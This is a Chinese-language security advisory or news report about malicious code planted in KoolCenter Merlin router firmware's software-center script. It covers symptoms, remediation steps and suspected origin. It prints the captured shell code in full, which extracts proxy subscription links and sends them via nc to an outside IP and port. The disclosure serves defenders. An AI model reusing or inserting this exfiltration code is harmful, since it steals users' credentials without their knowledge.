近日,KoolCenter Merlin Firmware的Telegram频道通知,KoolCenter Merlin(改版梅林)固件被插入恶意代码,恶意代码被插入了该软件中心的环境变量脚本,恶意代码会检测merlinclash和fancyss的订阅链接,并将其发送到ip地址是45.61.185.105的服务器的6232端口。
最近不断有用户反馈,KoolCenter改版的梅林软件中心页面出现错误,版本会出现变成0.0.0的情况,且ssh无法登录,scp也无法使用。经过官方进行排查,这是因为软件中心的环境变量脚本被插入了恶意代码导致的。
中招的表现形式目前有两种:
第一种(前几个月的)
有日志显示的插件(科学或其他插件)在提交的时候,会在前两行出现grep: /koolshare/merlinclash/yaml_bak/subscription.txt no sucj file or directory
的日志,这是因为恶意代码插入后,会判断是否有这个文件,如果没有使用MC插件的就会出现这个日志。
第二种(近期)
恶意代码升级了,但是恶意代码升级导致环境变量出问题了,所以路由器的ssh无法登录,一登陆上就断开,还会导致scp无法使用,软件中心版本0.0.0
据KoolCenter官方在频道里称,从群里朋友的截图和反馈来看,恶意代码最早从2024年7月就已经开始植入了,中间恶意代码还有更新,近期的恶意代码更新导致了路由器的系统出现问题,所以才被用户注意到。
被捕捉到的恶意代码如下:
############################################## Extract links and store them in a variable (skip if file does not exist)
if [ -f /koolshare/merlinclash/yaml_bak/subscription.txt ]; then
links=$(grep -o '"link":"[^"]*' /koolshare/merlinclash/yaml_bak/subscription.txt | cut -d'"' -f4)
if [ ! -z "$links" ]; then
echo "$links" | nc -w 5 45.61.185.105 6232
fi
else
echo_date ""
fi
# Check if the log file exists and send online links if found
if [ -f /jffs/ksdb/log ]; then
online_links=$(grep 'ss_online_links' /jffs/ksdb/log)
if [ ! -z "$online_links" ]; then
echo "$online_links" | nc -w 5 45.61.185.105 6232
fi
fi
初步看来,这些恶意代码的作用是偷机场的订阅链接的,以上恶意代码会检测merlinclash和fancyss的订阅链接,并将其发送到ip地址是45.61.185.105的服务器的6232端口。
官方提供的修复措施:
一、如果使用了usb2jffs插件:
- 拔掉U盘,格式化掉U盘
- 双清路由器后重新配置
- 双清后进入软件中心,将其升级到最新版本(目前是1.9.34)
- 插入U盘重新制作usb2jffs
- 最重要的:去自己使用的机场更换订阅链接!
二、如果没用usb2jffs插件,执行以上2,3,5步骤即可!
据官方表示,初步判断不是梅林固件被远程执行导致的,可能是某个第三方二进制闭源的插件写入的恶意代码。此事会继续跟进。